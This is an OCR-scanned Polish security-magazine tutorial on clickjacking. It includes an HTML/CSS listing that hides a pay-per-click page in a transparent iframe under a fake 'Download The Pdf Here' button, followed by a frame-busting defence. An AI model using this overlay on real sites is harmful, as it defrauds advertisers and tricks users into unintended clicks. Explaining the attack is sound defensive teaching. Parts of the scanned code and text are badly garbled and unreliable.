MARCO LISCI

Stopien trudnosci

| |

Z ARTYKULU
DOWIESZ SIE

jak dziatajg ataki typu
Clickjacking,

hakowania CSS z-indexing oraz
iframe.

CO POWINIENES
WIEDZIEC

podstawy HTML oraz CSS,

specyfike zachowania kliknie¢
w HTML.
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Clickjacking
— grozny link

Artykut ten pokaze nowq technike web ataku. Pokazany zostat
Sposob, jak prosto mozna ukrasc klikniecia z witryny. Opis

tej techniki pomoze zrozumiec¢ proces sam w sobie oraz
zaprezentuje problemy z zabezpieczaniem sie przed tego typu

atakiem.

niniejszym artykule zostaty opisane
realne zastosowanie ataku typu
Clickjacking. Ataki te bazujg sq na

hackach HTML oraz CSS, a obrona przed nimi
nie nalezy do prostych. Zobaczymy sposob,
ktory hacker ze ztymi zamiarami, potrafi
wykorzystac, aby ukrasc¢ klikniecia zwyczajnego
zwykiego uzytkownika. Te z kolel mogq zostac
wykorzystane przez hackera w sposob dowolny.
Warto przyjrze¢ sie technice, na ktorg znanych
jest tylko kilka sposobow blokady. Prezentujemy
SposoOb przeprowadzenia ataku w celu lepszego
zrozumienia problemu oraz unikania tego typu
kradziezy kliknie¢ w sieci.

Na dobry poczqtek

Atak typu Clickjacking jest teraz bardzo popularmym
tematem dyskusji. Diaczego? Jest potezny,
niemozliwy do zotrzymania po zainicjowaniu

i niebezpieczny. Atak typu Clickjacking miat
zosta¢ zaprezentowany we wrzesniu 2008 na
Owasp NYC AppSec 2008 podczas dyskusji
pomiedzy Robertem Hansen a Jeremiah
Grossman na temat nowego, iImponujgcego
wrecz rodzaju ataku. Przewidywana dyskusja
okazata sie na tyle niebezpieczna, ze firmy takie
jak np. Adobe oraz kilka innych réwnie duzych

i wptywowych, doprowadzito do anulowania
prezentacji. W pdzniejszym czasle zdecydowano
sle na przedstawienie problemu, ale dopiero w
momencie, kiedy znajdzie sie na niego lekarstwo.
Problem dotyczy wszystkich standarddw web

oraz sposobow, w jaki strona jest prezentowana
uzytkownikowi. Zdecydowanym rozwigzaniem
bytoby napisanie nowych —  poprawionych
standardow oraz przeglgdarek. Podobna sytuacja
miata miejsce z DNS. Internet sie rozrasta, a wraz z
nim powstajg nowe problemy.

Podstawy Clickjacking’u

Nozwa odwotuje sie do kradziezy czy tez przejecia
kliknie¢ uzytkownika na stronie internetowej w celu
wykorzystania do dziatan niekoniecznie zwigzanych
z intencjami uzytkownika. W zasadzie kazdy dobry
programista wie, jak uzy¢ operacii klikniec, aby
zainicjowa¢ zdarzenie w Javascript. To jest gtowna
przyczyna, dla ktorej uzytkownicy wytgezajg obstuge
skryptow w przegladarkach, kod jest zbyt prosty

do oszukania. Prawdziwa metoda Clickjacking

jest jednak zaawansowana, poniewaz pozwala na
przechwytywanie kliknie¢ bez uzycia Javascript.
Nowet przy wytgczonej obstudze skryptow,

kazda dzisiejsza przegladarka jest podatna na
tego rodzaju atak podobnie jak kazda istniejgca
witryna. Technika Clickjacking opiera sie na tagu
iframe oraz regule przezroczystosci z-index w ¢ss.
Element, na ktory mozna klikng¢ w ramcee iframe
oraz z innej domeny, mozna ukry¢ za elementem
na wierzchu prawdziwej strony. Nie ma sensu
uzywac nawet pojedynczej linii kodu Javascript

czy PHP poniewaz tylko HTML i CSS sq w stanie
sprawi¢, aby uzytkownik uwierzyl, ze klika na
element na stronie gldwnej podczas gdy naprawde
uruchamia kod na stronie ukryte.



Normalna

strona internetowa

Rysunek 2. jest normalng witryng w internecie.
Jest to prosty przewodnik, ktory mozna
Sciggng¢ w wersji pdf. Dodatkowo, sprytny
uzytkownik bedzie przekonany, ze strona
jest wiarygodna poniewaz nie zawiera

kodu Javascript ani innych podejrzanych
banerdw. Wbrew pozorom nie jest to jednak
zwykia strona. Jest to witryna, gdzie ztosliwy
programista jest w stanie przejq¢ klikniecia

i zZrobi¢ z nimi cokolwiek zechce. W tym
artykule poznamy jak ziosliwy haker moze
ukrasce Klikniecia uzytkownika i uzy¢ ich jako
Klikniecie w ptatny baner reklamowy.

Co pod maskq?
Aby przeprowadzi¢ atak typu Clickjacking
potrzebujemy kilku rzeczy. Po pierwsze
atakujgey musi zatadowac zawartose, w ktorg
ma Kklikng¢ potencjalna ofiara do ptywajgcej
ramki (iframe). Po drugie, atakujqey ustawia
w CSS atrybut opacity ramki na 0. To
sprawi, ze zawartos¢ iframe przestanie by¢
widoczna. Nastepnie, atakujocy tworzy strone
internetowaq, ktora pokrywa catq powierzchnie
strony w ramce poza miejscem, na ktére
klikng¢ ma uzytkownik. Jesli tego nie
Zrobi, inne linki na stronie w iframe mogq
spowodowac zmiane kursora na rqczke i
zdradzi¢, ze cos dzigje sie w tle. Ostatnia
czynnos¢ polega na stworzeniu przez
atakujaocego elementu HTML, ktory odzieli
element, na ktory ma klikng¢ uzytkownik
w niewidzialnej ramce. Ustawia priorytet
elementu uzywajac atrybutu z-index w CSS
tak, aby element byt za niewidzialng ramkag
oraz ustawia pozycje na niewidzialnym
obiekcle, na ktory docelowo i bezwiednie
kliknie ofiara. Celem tworzenia tego typu
elementu jest przyciggniecie uwagi i
skuszenie do kliknigcia w zgdanym miejscu.
Przyktadowa zawartos¢ w niewidzialne;
ramce zawiera reklame typu pay-per-click.
Rysunek 3. obrazuje zaréwno
niewidzialng warstwe ramki (iframe) oraz
widzialng warstwe strony internetowe.
Rysunek 2 pokazuje jak w rzeczywistosci
wyglgda atak typu Clickjacking w przypadku,
gdy widzialnos¢ wierzchnig] — widocznej
warstwy jest ustawiona na 1 a widocznose
warstwy 2 — niewidzialnej rowna jest 0. Stqd
tez préba Klikniecia w przycisk Download The
Paf Here w rzeczywistosci jest kliknieciem na
ptatng reklame umieszczong pod adresem
http://localhost:888/back.html. Uzytkownik

THE REAL WORLD CLICKJACKING

nie widzi zadnej reakcji po Kliknieciu na

link do pliku pdf, poniewaz w tym samym
czasie nabija klikniecia w ukrytej ramce, co
w konsekwencji przynosi zysk finansowy
atokujgcemu. Rysunek 6. pokazuje, jak w
rzeczywistosci wyglada backhtml (patrz

wiasnosci: szerokose i wysokose, dzieki
czemu mozliwe jest uzycie bezwzglednego
wypozycjonowania. Aby unikngé mozliwosci
przewijania trescl usuwa sie paski przewijania.
W srodowisku zrodiowym istnieje mozliwose
dodania kazdej zewnetrznej strony. Te proste

Wykaz 1). procedury umozliwiajg podpiecie w petni
dziatajgeych, zewnetrznych i niewidocznych
Wybieramy cel stron na docelowej witrynie. Krok nastepny

Klasa, ktora w CSS odnosi sie do iframe

to .attacksite class. Zawiera ona prosty
argument: opacity: 0. Ten atrybut upewnia
atakujaeego, ze strony nie da sie przeglgdad.
W HTML, iframe posiada dodatkowo dwie

stanowi przygotowanie fatszywej strony.

Fatszywa warstwa gtéwna
W naszym przypadku, poczgtkowa czese
ukrytej strony zawiera nagtowki i tekst.

o

snisle | sacasen view sowee | | sy

OWASP NYC AppSec 2008 Conference

Introduction
This uvert whs & grest Buctess, crawing fogethes cver 000 pecple from all sround the werkd. Piease boe the agenda bukow 1o copies of the cresentalions. ard videos of af the taksl!

o This vee has tracks , sacuriy, Bugt i din of the sppes: industry and its frende.
Prosorted by some of tha trightest peopie in the indusiry, this event is a must attend for amyone kooking 1o fomat, and throat . With assistance from:

WASC, NYM InfraGland, AITGlobsl, NYC PHP, NYCBUG, NYC ISACA, NYC ISSA and cur event co-sponeons you s invited 10 (2) diys of hardccns hands-on Insining and (2) full days of Semiars
Technalogy the world's best technology minds, &t Maw York City, Midtown.

SEE BELOW FOR VIDEQ AND SLIDES - CLICK HERE FOR PHOTOS

e the CAWASR Linkedn Geeup

2008 OWASP USA, NYC Conference Schedule — Sept 24th - Sept 25th VIDEOS

= Priciles OWASP Version 3. ., ™ going?
OWASP Foundaion: Je#l Willams, Dinis Cruz, Dave Wichers, Tom Srennan, Setastion Detversnycer

Rysunek 1. Wszystko zaczeto sie na Owasp NYC AppSecc 2008

A real world example of Clickjacking.

<|» | & @ [52] 3 fiey/Applicatons/ MAMP hidecs elickacking /Chckjacking.html

O/~(@- Coogle

We Proudly Presents

The Ultimate Hacking Guide.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do elusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis
nostrud exercitation ullamco laboris nisi ut aliquip ex ca commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore en
fugiat nulla pariatur. Excepteur sint occascat cupidatat non proident, sunl in culpa qui officia deserunt mollit anim id est laborum.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis
nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute inure dolor in reprehenderit in voluptate velit exse cillum dolore eu
fugiat nulla peristur. Excepteur sint occaccat cupidatat non proident, sunt in culpa qui officia descrunt mollit anim id est laborum.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do clusmod tempor incididunt ut labore ¢t dolore magna aliqua. Ut eaim ad minim veniam, quis
nostrud exercitation ullameco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore en
fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aligua. Ut enim ad minim veniam, quis
nostrud exercitation ullameco labaris nisi ut aliquip ex ¢a commodo consequat. Duis sute irure dolor in reprehenderit in voluptate velit esse cillum dolore en
fugiat nulla pariatur. Excepteur sint occascat cupidatat non proident, suat in culpa qui officia deserunt mollit anim id est laborum.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut ¢nim ad minim veniam. Ut

enim ad minim veniam. Ut enim ad minim veniam.

Download The Pdf Here

Rysunek 2. Zwykia, prosta strona moze ukry¢ wiele
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Listing 1. HTML | CSS source

!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1l/DTD/xhtmll-
transitional.dtd"

html>

<title>A real world example of Clickjacking.</title>
‘head
style

.ClickJack{
background-color:#0066FF;
color: #ffffff;
font-weight:bold;
font-size:20px;
position:absolute;
top:450px;

left:700px;

z-index:-10;

padding: Opx 20px Opx 20px;
}

.attacksite{
opacity:0.2;

.ourpage {
position:absolute;
top:10px;
left:20px;

width: 1000px;
opacity:1;

}

hl {

font-size: 30px;
color:#0066FF;

}

h2 {

font-size: 20px;
color:#666666;

}

p {
font-size: 15px;
color:#333333;
}
/style>
/head
<body>
br>
iframe id="attacksite" class="attacksite" width="1000"
height="600" scrolling="no" src="http:

//localhost:8888/back.html"></iframe>

span class="ClickJack"> Download The Pdf Here </span>

div class="ourpage"

h2>We Proudly Presents</h2

The Ultimate Hacking Guide.
</hl>

Lorem ipsum dolor sit amet, consectetur adipisicing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna
aliqua. Ut enim ad minim veniam, quis nostrud exercitation
ullamco laboris nisi ut aliquip ex ea commodo consequat.
Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat
cupidatat non proident, sunt in culpa qui officia deserunt mollit
anim id est laborum.

Jp>

<p>

Lorem ipsum dolor sit amet, consectetur adipisicing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna
aliqua. Ut enim ad minim veniam, quis nostrud exercitation
ullamco laboris nisi ut aliquip ex ea commodo consequat.
Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat
cupidatat non proident, sunt in culpa qui officia deserunt mollit
anim id est laborum.

Lorem ipsum dolor sit amet, consectetur adipisicing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna
aliqua. Ut enim ad minim veniam, quis nostrud exercitation
ullamco laboris nisi ut aliquip ex ea commodo consequat.
Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat
cupidatat non proident, sunt in culpa qui officia deserunt mollit
anim id est laborum.

</p>

<p>

Lorem ipsum dolor sit amet, consectetur adipisicing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna
aliqua. Ut enim ad minim veniam, quis nostrud exercitation
ullamco laboris nisi ut aliquip ex ea commodo consequat.
Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat
cupidatat non proident, sunt in culpa qui officia deserunt mollit
anim id est laborum.

</p>

<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit,

sed do eiusmod tempor incididunt ut labore et dolore magna

aliqua. Ut enim ad minim veniam. Ut enim ad minim veniam. Ut
enim ad minim veniam.

/p
/div
</body>

/html
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Jedynym niezakrytym elementem jest
koncowa czese platnej reklamy (baneru).

W tym wiasnie migjscu haker umiesci
fatlszywy przycisk. W rezultacie sprawia, ze
tylko ten obszar jest jedynym mozliwym do
Klikniecia miejscem na catej stronie. Z kodu
dowiesz sig, ze definicje odpowiedzialne za
gornq czese witryny znajdujq sie w klasie
.ourpage. Korzystajge z pozycjonowania
bezwzglednego (absolute possitioning) mamy
PEWNOSE, ze potozenie bedzie takie samo w
kazdej przegladarce, unikajac sytuacii, w ktorej
przycisk docelowy mogtby zosta¢ odkryty.

Klasa ClickJack odpowiada za
pozycjonowanie fatszywego przycisku. W
sekcji HTML znajduje sie div zalezny od
klasy .ourpage oraz odseparowany element
nalezqcy do klasy .ClickJack. Najwazniejszq
informacje stanowi fakt, ze fatszywy przycisk
nie jest w rzeczywistosci przyciskiem, lecz
odseparowanym elementem, ktory nigdzie
nie prowadzi. Wszystko to dlatego, ze
prawdziwy przycisk znajduje sie w tle. Jesli
stworzymy prawdziwy przycisk na géme;j
warstwie, a nastepnie w niego klikniemy, nie
stanie sie absolutnie nic.

Separacja tego typu sprawia, ze
mozliwa jest praca na elemencie
znajdujgcym sie bezposrednio pod
miejscem w ktore klikamy.

Rezultat

Na naszym serwerze zostata umieszczona
symulacja platnego baneru. Wynik wida¢

na Rysunku 2. Kiedy klikniemy na przycisk
Download The Pdf Here akcja zostanie
przekierowana na baner w tle, a prawdziwa
strona zostanie przekierowana na platny link.
Aby przekonac¢ sig, jok wyglgda to na zywo,
nalezy zmieni¢ przezroczystose tych dwoch
warstw do poziomu 0.5. Dzieki obserwacjom
dziatan w tle lepiej mozna zrozumied
metode ataku.

Rozwiqgzanie problemu

Nie istnieje zadne znane rozwigzanie
likwidujace tego typu atak. Przyczyny takiego
stanu rzeczy sq powigzane ze sposobem
implementaci przez przegladarki standarddw
kodu HTML. Zwiaszcza iframe oraz
przezroczystoscl w CSS a takze atrybutdw
z-order. Nalezy bra¢ pod uwage, ze te same
chwyty, ktore sprawiaja, ze Clickjacking jest
mozliwy, sq stosowane przez programistow o
zupetnie innych (dobrych) zamiarach. To z kolei
utrudnia znalezienie odpowiedniego lekarstwa.

THE REAL WORLD CLICKJACKING

000 A real world example of Clickjacking.
4{ L3 Q e # file: [ { | Applications/MAMP htdecs [ clickjacking /Chckjacking.htm| @[=(Q- Coogle
‘We Proudly Presents

The Ultimate Hacking Guide.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis
nostrud exercitation ullameco labaris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore en
fugiat nulla pariatur. Excepteur sint occaccat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laboram.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut eaim ad minim veniam, quis
nostrud exercitation ullameo labaris nisi ut aliquip ex ez commodo consequat. Duis sute irure dolor in reprehenderit in voluptate velit esse cillum dolore en
fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laboram.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do efusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis
nostrud exercitation ullamco labaris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore en
fugiat nulla pariatur. Excepteur sint occaccat cupidatat non proident, sunt in culpa qui officia deserunt mollit 2nim id est laboram.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do ciusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis
nostrud exercitation ullameco labaris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voloptate velit esse cillum dolore en
fogiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laboram.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do elusmod tempor incididunt ut labore et dolore magna aliqua. Ut eaim ad minim veniam. Ut
enim ad minim veniam. Ut enim ad minim veniam.

Download The Pdf Here

Rysunek 3. Teraz widac¢ doktadnie gdzie lezy problem

CIDOCTVFE hta| PUBLIC ==/ /30 /7010 XHITL 1.0 Tronel tional/ /e "http:/fewe . w3 .0rg /TR hta 1 /OTD Adhtall-trans i tional .dtd" >

hinl>
<titledd real world exoaple of Clickjocking. </title
<head>
style>

-C1iekdack{
~color J9REEEFF |
color: ®fIfI11;
font-ue ight tbold;
font-size:28px;
posi tioniabsolute;
top 458px;
Laft: 7e0pn;
z=index:=18;
pur.idirq: Bpx 20px Bpx 20px;

«ottocksi tel
opasi byd;

4

-ourpage{
posi tionabsolute;
top - 1B

Lef £:20pu;

width: maaux,

¥ b

M {

font-size: pr:
§e|or

h2 {

font-size: 2@pux;
color 1RSLEE00 ]

}

e
font-size: 15px;
;o lor (#333333;

Cfetyled
<haod>
Body>

Rysunek 4. Warstwa CSS
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Rysunek 5. Warstwa HTML
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Jedli chodzi o przegladarki, istnieje kilka
rozwigzan omijajgeych to zagrozenie. Jednym
jest korzystanie z tekstowej przeglgdarki np.
Lynx. Lynx w przeciwienstwie do przeglgdarek
graficznych, nie ma problemu z warstwami.

Innym rozwigzaniem jest korzystanie z Firefoxa
7 rozszerzeniem o nazwie NoScript. NoScript
chroni przed atakiem poprzez blokowanie
zagniezdzone] tresci z niewiarygodnych zrodet.
Niestety zadne z wymienionych rozwigzan

W Sieci

http://blogs.zdnet.com/security/?p=1972 — Pierwszy artykut o Clickjacking,
http://sirdarckecat.blogspot.com/2008/10/about-CSS-attacks.html — Przyktady Clickjacking.
http://hackademix.net/2008/09/27/clickjacking-and-noscript/ — The NoScript Plugin.
http://blog.guya.net/2008/10/07/malicious-camera-spying-using-clickjacking/ — The

WebCam ClickJacking.
http://ha.ckers.org/blog/20081007/clickjacking-details/
http://www.planb-security.net/notclickjacking/iframetrick.html.
http://ejohn.org/blog/clickjacking-iphone-attack/.
http://www.sectheory.com/clickjacking.htm — The original Hansen & Grossman.
http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference.

A real world example of Clickjacking.

<> || [ €] & 2 flesApplications/MAMP/hdocs clickjacking/ Clickjacking htmi

@ =(Q~ Google

Paid per Click
Advertising

Rysunek 6. Za kurtynq

re magna aliqua. Ut enim ad minim veniam
henderit in voluptate velit esse cillum dolor
t anim id est laborum.

re magna aliqua. Ut enim ad minim veniam

Download The Pdf Here

Rysunek 7. Zblizenie na fatszywy przycisk

26 | HAKIN9 7-8/2009

nie stanowi skutecznej ochrony w rekach
poczatkujgeych uzytkownikdw.

Dla webmasterdw oraz developerow
dostepne jest tylko jedno rozwigzanie. W
momencie proby zabezpieczenia swojego
kodu przed dziataniami zwigzanymi z
przejmowaniem kliknie¢ uzytkownika, nalezy
uzy¢ JavaScript w celu zablokowania
fadowania strony internetowej w ramkach
iframe. Niestety w przypadku, gdy uzytkownik
wylgczy obstuge skryptow po stronie
przeglgdarki — to rozwigzanie staje sie
nieskuteczne. Aby ochroni¢ swojq witryne
przed tadowaniem w ramce iframe nalezy
doda¢ nastepujacey kod:

<script type="text/javascript">
if (top != self) top.location.href =
self.location.href;

</script>

W przypadku, gdy kto$ zataduje dang strone
na innej witrynie, odwiedzajqcy zostanie
natychmiast przekierowany na wiasciwg
strone, ale juz bez ramki iframe.

Podsumowanie

Nie nalezy kras¢ klikniec innych uzytkownikdw,
ani probowac tego typu hakow na
dziatajgeych witrynach w sieci. Aby sprawdzi¢
swoje umigjetnosci w tym zakresie, nalezy
stworzy¢ lokalnie witryne, ktora bedzie
zachowywac sie jak strona typu pay per
click. Ten artykut zostat napisany po to, aby
uzmystowic, ze sg mozliwosci przechwycenia
i wykorzystania Kliknie¢. Nalezy zainstalowa¢
Firefoxa z wtyczkg NoScript oraz uzywac
wyzej pokazanego kodu JavaScript, jesli
tworzymy witryny. Jest to jak na razie jedyna
metoda zapobiegajaca atakom typu
Clickjacking. Nalezy mie¢ $wiadomose, ze
wiedza zowarta w artykule pokazuje, jak
przejmowac klikniecia uzytkownikOw w celu
wykorzystania ich do generowania kliknie¢ na
platny baner. Pamietac jednak warto, ze jest
to tylko wierzchotek gory lodowej mozliwosci
tej metody, ktora moze by¢ wykorzystana

do duzo bardziej Ztozonych i grozniejszych
operacji. W Ramce W Sieci znajduje sie klika
przydatnych linkdw na temat mozliwosci
wykorzystania metody Clickjacking.

Marco Lisci

Marco Lisci jest inzynierem systemowym oraz
konsultantem zainteresowanym kreatywnymi
rozwigzaniami wdrozonymi w systemy komputerowe.
Pracuje przy systemach informatycznych, infrastrukturach
sleciowych oraz bezpieczenstwie.



